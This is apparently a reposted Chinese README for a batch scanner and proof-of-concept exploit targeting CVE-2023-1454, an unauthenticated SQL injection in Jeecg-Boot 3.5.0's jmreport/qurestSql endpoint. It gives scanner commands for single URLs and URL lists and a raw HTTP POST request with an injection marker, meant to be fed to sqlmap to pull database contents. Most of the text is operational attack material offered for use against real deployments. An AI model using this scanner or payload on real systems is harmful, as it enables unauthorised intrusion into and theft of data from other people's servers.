CVE-2023-1454
jmreport/qurestSql 未授权SQL注入批量扫描poc Jeecg-Boot是一款基于Spring Boot和Jeecg-Boot-Plus的快速开发平台，最新的jeecg-boot 3.5.0 中被爆出多个SQL注入漏洞。
说明
原工具地址：https://github.com/MzzdToT/CVE-2023-1454/
原工具误报率高，修改了一下判断条件顺便优化了代码。
工具利用
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 单个url测试python3 CVE-2023-1454-scan.py -f url.txt 批量检测
扫描结束后会在当前目录生成存在漏洞url的vuln.txt
poc：
exp：
将数据包保存为txt用sqlmap可得到数据
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/json;charset=UTF-8Content-Length: 129{"apiSelectId":"1290104038414721025","id":"1*"}
项目作者：padbergpete47
项目地址：https://github.com/padbergpete47/CVE-2023-1454
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247497313&idx=1&sn=931ca4d6ff2d8d3ed61c5cc12465152f&chksm=9badbf2aacda363c2cba204b107f26b8ea9e3ed60891bd0f5375c2c84243ef3597ed0d7d74dd#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh